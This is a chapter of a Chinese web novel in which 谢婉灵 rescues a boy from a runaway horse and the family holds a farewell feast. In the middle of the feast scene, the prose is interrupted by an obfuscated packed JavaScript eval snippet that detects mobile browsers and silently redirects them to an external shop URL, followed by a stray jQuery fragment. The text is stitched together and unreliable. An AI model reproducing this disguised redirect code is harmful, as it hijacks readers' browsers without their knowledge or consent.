53. 启程
作品:《棠脂华凝》 “驾!”一道靛蓝色的身影冲上前,她骑姿轻盈,竟从一匹白马驹上脱离双手直接站立起来,霜吟还在往前驰骋,谢棠见谢婉灵夹紧马身,接着从马背一侧跳了起来!
“阿姐!”谢棠大叫一声,谢婉灵却神态淡然,在空中转了个漂亮的旋,衣服绽放成一朵蓝白的小花,她瞅准时机,抓好马背,在能够着邵允那匹马的马尾时果断翻身跳上。
玉珠神采奕奕地看着谢婉灵,眼里的光芒几乎要盖过日光,她忍不住停下鼓掌,“好!”
上马后,她第一时间把缰绳接了过来,小马还是不受控制,继续朝前胡乱冲奔。
谢婉灵怀里抱着邵允,他年纪也不大,才七八岁模样,贴着她的手心出汗,脊背颤抖。没几步就是林子,不能再往前了,谢婉灵强制往回调了个头,“别担心,我们都会没事的。”
邵允闻言并没有放心下来,但此时卧在她怀里,属于母亲的那股干燥温暖、让人放松的味道弥漫在鼻腔,他渐渐不再发抖,一只手抓紧了她的袖子,仿佛这样就能得到安慰。
小马很快在谢婉灵娴熟的驭马动作中安静下来,开始放慢速度,等邵临几人赶到的时候,谢婉灵已经将他从马上抱了下来。
“小叔!”一见到叔叔,邵允就扑进他怀里,“呜呜呜……吓死我了,我还以为我再也看不到娘和你们了!”低低的呜咽声随着这句话传开。
邵临一颗心也被提到嗓子眼,脸更白了,大哥和嫂子就他一个子嗣,要是真出了事,他也没有颜面见他们了。
安抚了一会儿,谢棠和玉珠也下马,不好听小孩哭声的她们干脆回避,在一旁夸起谢婉灵,“阿姐,你真厉害!”谢棠钦佩道。
玉珠更是激动地搂着她,“圆圆姐,我可以这样叫你吗?你就是我亲姐!你刚刚那一下可把我看呆了,草原最勇猛的骑士实在是非你莫属!”
谢婉灵两眼笑成弯月,明媚的如裙间的木馨花,“当然可以玉珠,你也是我妹妹。”
“要不是我们马上就要离开,我真恨不得拜你为师,你的马上功夫可比得过我们柔然的许多勇士呢!有句话叫什么来着……巾帼不让须眉!”她性子热烈,竟抱着谢婉灵转起圈圈来。
“啊哈哈哈……”银铃般的笑声响起,谢婉灵也被她打动,“好了,你太抬举我了,”她一手抓着玉珠的脖子,一手扶着头,“玉珠,把我放下来吧,转的我都头晕了!”
“哦哦……”兴高采烈的玉珠将人放下,她不好意思地挠头,“我失态了。”
谢棠笑着看两人,邵允的哭声也被这热闹打断,他抬起埋在邵临胸膛的头,愣愣地瞧她们。
谢婉灵落地缓了一会儿,余光瞟见刚刚救下的小男孩盯着自己,便不自觉蹲下身子,他一双乌黑的像葡萄似的,生的又大又圆,还亮晶晶的。
因为刚哭完,带着一层水汽可怜的看着她,谢婉灵心生柔软,也不眨眼地望着他。
谁料这小孩心有七窍,再精灵鬼怪不过,捏准面前的漂亮姐姐是个心善的,便挣脱了叔叔的手,深一脚浅一脚地跌进了谢婉灵怀里。
他一双手环着她的雪颈,小小的头靠在谢婉灵肩膀,就这样睁大眼睛瞧她。谢棠浅笑,看来这邵临也是有张良计啊,就是不知这孩子最后能否助他夺得芳心了。
玉珠取笑,“想来他也是''察言观色''的,能看出谁才是最美的那个,不缠着亲叔叔,反而要偷香国色喽。”
邵临被她这话羞红了面皮,他轻轻叫了一声,“邵允,快过来,你是个大孩子了,不该如此。”
邵允这会儿可不理他,小幅度斜睨叔叔一眼,继续不眨眼地盯着谢婉灵的脸看,邵临更窘迫了。
谢婉灵也不好一直抱着他,于是把手从他背上转到腋下,带他往邵临的方向走了几步,“他应是被惊着了,回去之后你还是让大夫给他看看吧。”
邵临接过他低头道谢,“今日多谢谢小姐救命之恩,改日再带着他登门拜谢。”
谢婉灵讶异道:“你认得我?”
“噗嗤”,谢棠笑出了声,也不知道是谁一腔痴情错付,之前还言之凿凿地对伯父说把阿姐当成挚友,没成想人家根本就不记得他。
哎呦呦,真是襄王有梦,神女无心啊!
邵临本就红了的脸顿时烫到耳根子,他本就白胖白胖的,这下整张脸都红透了,简直比姑娘两腮上的胭脂还深。
“姑娘也许不记得我了,我是邵临,家里是做生意的。”他为自己前些日子的话感到害臊。
不提还好,一说谢婉灵竟然也有印象,“可是城东的邵家?家里做酒楼生意的。”
邵临惊喜道:“正是正是,没想到小姐还记得在下。”
“哪敢,邵家也是城里有名的大户了,我还记得之前城中闹病,邵家目光长远又宅心仁厚,是第一批捐钱捐物的代表呢!”
邵临怀里的小家伙饶有兴致地听着他们说话,眼睛骨碌碌地转来转去。
谢婉灵想起刚刚猎的那头鹿,“时辰也不早了,邵公子,咱们不如下次再谈?”
他哪有不应的,今天已经是意外之喜了,随机乐呵呵回道:“好呀,谢小姐,还有几位小姐,欢迎下次光临我邵家酒楼。”
谢棠和玉珠听了半晌,都不约而同地答道:“改日再约。”
寻猎的路上,谢棠与玉珠对视一眼,谢棠率先问她:“阿姐,你对刚刚的邵公子印象如何?”
谢婉灵思忖片刻,答的很谨慎,“是个不错的男子。听父亲说过,当年邵家做主的是他父亲和大哥,二人皆不愿意出财捐粮,是邵临说''百姓苦难,他们平日取利与民,不能冷心冷肺,置其与水火而不顾'',最后又多次口舌才说动。”
“况且先才见他,不顾一切去救大哥的幼子,连自己手上流血了都没注意,那孩子也很依恋他。”谢婉灵把孩子递他手上时,就发现他的手指被什么东西割破,已经流血。
谢棠同样觉得刚刚那个男童冰雪可爱,“伯父说他父亲已经去世,邵临如今是邵家的唯一男丁,也许他是把他当作父亲了吧。”
谢婉灵念及自己早亡的两个孩子,一时神伤。可怜他们,连降生到这世上的机会都没有。
“哎呀,这鹿可真大,够我们一家人饱餐一顿了,回去我就放血割肉。”玉珠提起那鹿腿。
谢棠也附和道:“还有这鹿皮如此完美,正好给姐姐做副好皮子。”
眨了眨眼睛,把泪意逼回,谢婉灵刮刮谢棠的鼻子,“姐姐哪里没有,这鹿皮就给你们一人做一双手套,回去的路上,手便不会冷得生冻疮了。”
摇着阿姐的手,谢棠生出不舍之意,撒娇道:“阿姐,我不想启程回府了,就在这一直和你在一起该多好。”
谢婉灵也心中酸涩,“好了,人生哪有不散的筵席,这次是意外,等你们以后再来,阿姐一定好好招待你们。”
到了晚上,谢家几人起架生炉,坐在楼阁好好吃了一顿,也当是为谢棠几人饯行。
谢棠从十几层的高楼往下远眺,万家灯火繁华肃穆,头顶星光璀璨,银汉交汇,哪怕没有点烛火,院子也是一片月光溶溶。
清风拂过,远处的花香和肉香席卷而来,吹得玉珠更饿了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946281|187354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她猴急地拿起刚烤好的鹿肉,不待吹凉就往嘴里塞,“哎呦!”玉珠舌头差点被烫得起泡,反射性地吐了出来。
谢棠摇头苦笑,“急什么?怎么还像熊奴一样吃东西,又没有人和你抢!”她夹起一片肉,“来,和我学。”
“先把肉吹凉,再蘸上酱料,”玉珠有样学样,“然后放在腌好的脆萝卜上,这样不仅解腻,还有鹿肉的鲜和萝卜的酸甜......”
不等她说完,玉珠已经递进嘴里,边咀嚼边眯起眼睛说道:“嗯,好吃好吃,软嫩多汁,既有牛肉的密实,又没有猪肉的膻味。”
谢家两个长辈都在一旁笑她心急。
本朝的猪肉没有经过处理,并不得寻常百姓喜欢。
也只有周家是医者之家,能用药材将猪肉身上的味道给除个八九分,但做出来的肉有很大的药味,玉珠并不爱吃。至于羊肉,也许是因为她在草原的日子旷久,又或许那里的羊肉不一样,反正玉珠喜欢。
这头鹿是白日里刚猎的,带回府里的时候肚皮还是温的,正新鲜的不得了。厨娘用雄州特有的蜜汁腌制了半个时辰,又用石板炙烤,边烤边刷满满几层酱料,外焦里嫩,切开还能见汁水流出,香的方圆十里的孩童都忍不住吸鼻子。
又用其他部分做了大酱骨头,酸菜粉条,还钓了几尾银江的活鱼。从中医养生的角度,春日虽然适合多多进食蔬菜瓜果,但此时这一桌,连神仙儿也躲不过去,谢家几人都吃的肚皮滚圆才停手。
离别在即,周景也没拦着,今夜几人不仅吃得痛快,还喝了点高粱酒。酒足饭饱之后,谢棠今晚兴致高昂,“外祖父,伯父,阿姐,我来给你们弹一曲。”
言罢,她命人找来一把胡笳,这是她来这之后学的,还只会一些简单的曲子。只见她红唇对准孔位,立好姿势,一阵圆润又浑厚,柔和又深沉的音乐响起。
那曲调绵软悠长,一时似草原露珠在晨曦中坠落,一时又似万籁空寂的峡谷中忽有鸟兽悲鸣,一时又如游子听到母亲喃喃的呼唤……
是胡笳十八拍里的一拍,谢将军已经听出来了。他看着远处雪山,思绪已经飘到远在京城,已经十年未尽孝的老母亲身边。一会儿子又见到了那金銮殿内对他既重用又狠辣猜忌的天子容颜,最后还是转回了这雄州,和这楼下的黎民百姓。
一曲终毕,谢将军拊掌赞道:“好啊,棠儿这首曲子颂的真是不错,你于乐理这一事上确有天分,也不枉朗弟给你小名取叫''月狸''啊,哈哈哈……”
谢棠听他这样调笑,不免羞恼,“伯父可别取笑我了,我这点不到家的功夫,也只能在你们跟前出出丑了。”
玉珠随着她的曲音摇头晃脑,酒酣半醉,她也直接站了起来,“谢棠,我和你给你伴舞,还没看过琉鹰舞吧,我跳给你们看!”
说完,她脚步轻点,腰肢扭动,随着心里的奏点一张一弛,粗犷中带着壮美的舞姿在这空间里盘旋流动起来。玉珠肩膀前倾,一双眼睛像盯紧猎物的鹰隼,直勾勾地投注在谢棠身上,这眼神竟然像前世的李覃,谢棠被她的动作逼得不断后退……
就在要够着她脸的时候,玉珠一只手突然从后把她拦起,“咯咯咯,谢棠,你在想什么呢?要不是我拉你,你就要摔了!”
她回神,笑着说:“我这不是知道你会接着我吗。”
愉快的时光总是短暂,谢棠一行人在几日后开始回程。
临行前,谢婉灵和谢将军送了他们很远,远到他们挥手的身影越来越小,远到那两颗黄豆大小的影子也看不见,谢棠擦干眼泪,接着赶路了。

